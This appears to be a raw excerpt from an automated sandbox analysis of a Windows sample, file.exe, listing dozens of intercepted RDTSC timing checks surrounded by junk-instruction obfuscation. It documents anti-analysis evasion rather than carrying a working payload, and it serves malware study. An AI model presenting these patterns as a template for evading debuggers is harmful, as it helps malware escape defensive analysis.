Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4C2A second address: 5D4C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F6E04C712D9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54EE2D second address: 54EE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F6E04531014h 0x0000000b jmp 00007F6E04531010h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D934C second address: 5D9351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9351 second address: 5D9356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9356 second address: 5D93A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6E04C712D2h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jne 00007F6E04C712C6h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F6E04C712D2h 0x0000001b popad 0x0000001c jmp 00007F6E04C712D3h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D93A3 second address: 5D93A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D93A7 second address: 5D93AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9573 second address: 5D9579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9852 second address: 5D9856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9856 second address: 5D985C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D985C second address: 5D9861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9B5D second address: 5D9B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6E04531006h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9D1E second address: 5D9D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6E04C712CAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9D2D second address: 5D9D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9D33 second address: 5D9D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA169 second address: 5DA178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F6E04531006h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA178 second address: 5DA17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA323 second address: 5DA34D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007F6E04531006h 0x0000000d jmp 00007F6E04531014h 0x00000012 pop eax 0x00000013 jbe 00007F6E0453100Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA71C second address: 5DA722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA722 second address: 5DA726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0295 second address: 5E02DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6E04C712D6h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push edi 0x0000000c jno 00007F6E04C712C6h 0x00000012 pop edi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007F6E04C712D6h 0x0000001d jmp 00007F6E04C712CEh 0x00000022 push edi 0x00000023 pop edi 0x00000024 push ebx 0x00000025 push edi 0x00000026 pop edi 0x00000027 jnl 00007F6E04C712C6h 0x0000002d pop ebx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E02DD second address: 5E02F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04531010h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E02F1 second address: 5E02F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5D5E second address: 5E5DA0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6E04531006h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F6E0453100Ch 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007F6E04531006h 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d jng 00007F6E04531022h 0x00000023 jmp 00007F6E04531016h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8E3C second address: 5E8E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F6E04C712D9h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8E5F second address: 5E8E6D instructions: 0x00000000 rdtsc 0x00000002 js 00007F6E04531008h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E86B0 second address: 5E86B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E89F5 second address: 5E8A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6E0453100Eh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jnl 00007F6E04531006h 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 popad 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8A12 second address: 5E8A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6E04C712C6h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA402 second address: 5EA41B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA41B second address: 5EA41F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F08D6 second address: 5F08F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531015h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F6E04531006h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF1C9 second address: 5EF1E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04C712D2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF1E1 second address: 5EF1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF364 second address: 5EF368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF368 second address: 5EF373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF62B second address: 5EF631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3CD0 second address: 5F3CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7A77 second address: 5F7A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F6E04C712D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7A9A second address: 5F7AA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7AA2 second address: 5F7AA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601AAD second address: 601ABD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6E04531006h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C6D5 second address: 55C6DF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E04C712C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFB3F second address: 5FFB49 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E04531006h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFCD6 second address: 5FFCDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFCDC second address: 5FFCF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007F6E04531022h 0x0000000b pushad 0x0000000c jnp 00007F6E04531006h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6002D8 second address: 6002FD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E04C712C6h 0x00000008 jmp 00007F6E04C712D3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F6E04C712C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600565 second address: 600574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F6E04531006h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600574 second address: 60059C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 jmp 00007F6E04C712D7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60059C second address: 6005A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F6E04531006h 0x00000009 pop ebx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600833 second address: 600837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600837 second address: 60083D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600B01 second address: 600B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6E04C712C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F6E04C712E0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E19 second address: 600E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jg 00007F6E04531006h 0x0000000c popad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E2A second address: 600E49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jg 00007F6E04C712C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601452 second address: 601458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601458 second address: 601466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6E04C712C6h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601466 second address: 601485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E04531016h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601485 second address: 6014A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6014A1 second address: 6014A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B6F1 second address: 60B707 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6E04C712C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F6E04C712CEh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B707 second address: 60B70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B70B second address: 60B715 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6E04C712CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AD01 second address: 60AD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AD07 second address: 60AD15 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6E04C712C8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AD15 second address: 60AD19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B001 second address: 60B00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007F6E04C712C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CBB second address: 612CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CC5 second address: 612CF4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6E04C712C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jmp 00007F6E04C712D8h 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CF4 second address: 612CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6113BA second address: 6113BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6116EA second address: 6116EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6116EF second address: 6116F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6116F5 second address: 6116F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611AB1 second address: 611AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611AB9 second address: 611AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 jno 00007F6E04531006h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61243F second address: 61244C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6E04C712C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612B99 second address: 612B9F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615181 second address: 615185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615185 second address: 6151A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F6E04531018h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D03B second address: 61D03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A8C7 second address: 62A8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FD07 second address: 62FD0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FD0B second address: 62FD21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6E0453100Ah 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D5E1 second address: 63D5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6E04C712C6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D5F3 second address: 63D5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D5F7 second address: 63D636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D8h 0x00000007 jmp 00007F6E04C712D0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F6E04C712CCh 0x00000016 pop edx 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D465 second address: 63D46B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D46B second address: 63D46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646D09 second address: 646D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645E01 second address: 645E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712D9h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6E04C712CAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645E2F second address: 645E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645E33 second address: 645E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6460A5 second address: 6460A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6460A9 second address: 6460AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6460AF second address: 6460B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6460B5 second address: 6460D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04C712D5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6460D0 second address: 6460D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AA24 second address: 64AA2A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AA2A second address: 64AA36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F6E04531006h 0x0000000c rdtsc
